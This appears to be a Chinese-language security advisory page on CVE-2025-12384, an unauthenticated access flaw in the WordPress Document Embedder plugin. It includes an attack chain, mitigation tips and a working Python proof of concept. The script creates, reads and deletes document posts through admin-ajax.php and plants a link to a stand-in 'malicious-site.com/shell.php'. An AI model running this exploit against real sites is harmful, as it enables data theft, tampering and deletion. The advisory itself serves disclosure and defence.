IPBUF安全漏洞报告
English
CVE-2025-12384 CVSS 8.6 高危

WordPress Document Embedder插件未授权访问漏洞 (CVE-2025-12384)

披露日期: 2025-11-05

漏洞信息

漏洞编号
CVE-2025-12384
漏洞类型
授权绕过/未授权访问
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Document Embedder – Embed PDFs, Word, Excel, and Other Files (WordPress插件)

相关标签

授权绕过未授权访问WordPress插件漏洞CVE-2025-12384高危漏洞AJAX注入数据篡改信息泄露Document Embedder

漏洞概述

WordPress Document Embedder插件存在严重的授权绕过漏洞,该插件用于在WordPress网站中嵌入PDF、Word、Excel等文档。该漏洞影响截至2.0.0版本的所有版本。由于插件在多个关键AJAX函数中未能正确验证用户权限,攻击者可以在未登录的情况下执行创建、读取、更新和删除操作,操纵任意document_library类型的文章。这可能导致敏感文档内容泄露、恶意内容注入、网站数据被篡改等严重后果。攻击者利用此漏洞可以完全控制网站上的文档库内容,进而可能获取敏感信息或进行进一步的攻击。由于该漏洞无需认证即可利用,且CVSS评分高达8.6,属于高危漏洞,建议立即采取修复措施。

技术细节

该漏洞的根本原因在于WordPress插件的AJAX处理函数缺少权限检查。问题出在以下四个核心函数:bplde_save_document_library(保存文档库)、bplde_get_all(获取所有文档)、bplde_get_single(获取单个文档)和bplde_delete_document_library(删除文档库)。这些函数通过wp_ajax_*或wp_ajax_nopriv_*钩子注册,但未调用current_user_can()或类似权限验证函数。攻击者可以通过构造特定的AJAX请求,在无需任何认证的情况下调用这些函数。bplde_save_document_library允许创建新的document_library文章,攻击者可注入恶意内容;bplde_get_all和bplde_get_single允许读取任意文档库内容,可能导致敏感信息泄露;bplde_delete_document_library允许删除任意文档库文章,造成数据丢失。攻击者利用WordPress的admin-ajax.php端点,构造相应的POST请求即可触发漏洞。

攻击链分析

STEP 1
1
信息收集:攻击者扫描目标WordPress网站,确认安装了Document Embedder插件并获取版本号
STEP 2
2
构造请求:攻击者构造针对admin-ajax.php的POST请求,目标action为bplde_save_document_library、bplde_get_all、bplde_get_single或bplde_delete_document_library
STEP 3
3
执行创建操作:利用bplde_save_document_library函数在未认证状态下创建恶意的document_library文章,注入恶意内容或链接
STEP 4
4
执行读取操作:利用bplde_get_all或bplde_get_single函数获取网站上的所有文档库内容,导致敏感信息泄露
STEP 5
5
执行删除操作:利用bplde_delete_document_library函数删除任意文档库文章,造成数据丢失
STEP 6
6
持久化控制:创建恶意文档后,攻击者可能通过社会工程学诱导管理员访问,从而获取进一步访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12384 PoC - WordPress Document Embedder Unauthenticated Access # Target: WordPress site with Document Embedder plugin <= 2.0.0 import requests import sys TARGET_URL = "http://target-wordpress-site.com" AJAX_URL = f"{TARGET_URL}/wp-admin/admin-ajax.php" def create_document_library(): """Create arbitrary document_library post without authentication""" data = { 'action': 'bplde_save_document_library', 'post_id': '0', 'post_title': 'Malicious Document', 'post_content': 'Injected malicious content', 'bplde_document_url': 'http://malicious-site.com/shell.php', 'bplde_document_type': 'pdf' } response = requests.post(AJAX_URL, data=data) print(f"Create Response: {response.status_code}") return response.text def read_all_documents(): """Read all document_library posts without authentication""" data = { 'action': 'bplde_get_all', 'post_type': 'document_library' } response = requests.post(AJAX_URL, data=data) print(f"Read All Response: {response.status_code}") return response.text def read_single_document(post_id): """Read single document_library post without authentication""" data = { 'action': 'bplde_get_single', 'post_id': str(post_id) } response = requests.post(AJAX_URL, data=data) print(f"Read Single Response: {response.status_code}") return response.text def delete_document_library(post_id): """Delete arbitrary document_library post without authentication""" data = { 'action': 'bplde_delete_document_library', 'post_id': str(post_id), 'delete_nonce': '' } response = requests.post(AJAX_URL, data=data) print(f"Delete Response: {response.status_code}") return response.text if __name__ == "__main__": print("CVE-2025-12384 - Document Embedder Unauthenticated Access") # Step 1: Create malicious document create_document_library() # Step 2: Read all documents (information disclosure) read_all_documents() # Step 3: Read specific document read_single_document(1) # Step 4: Delete document (data loss) delete_document_library(1)

影响范围

Document Embedder WordPress插件 <= 2.0.0

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时缓解措施:1) 暂时禁用Document Embedder插件;2) 使用WAF规则阻止对admin-ajax.php的异常请求;3) 限制/wp-admin/目录访问,只允许管理员IP访问;4) 部署ModSecurity规则检测异常的AJAX请求特征;5) 启用WordPress的日志记录功能,监控可疑活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表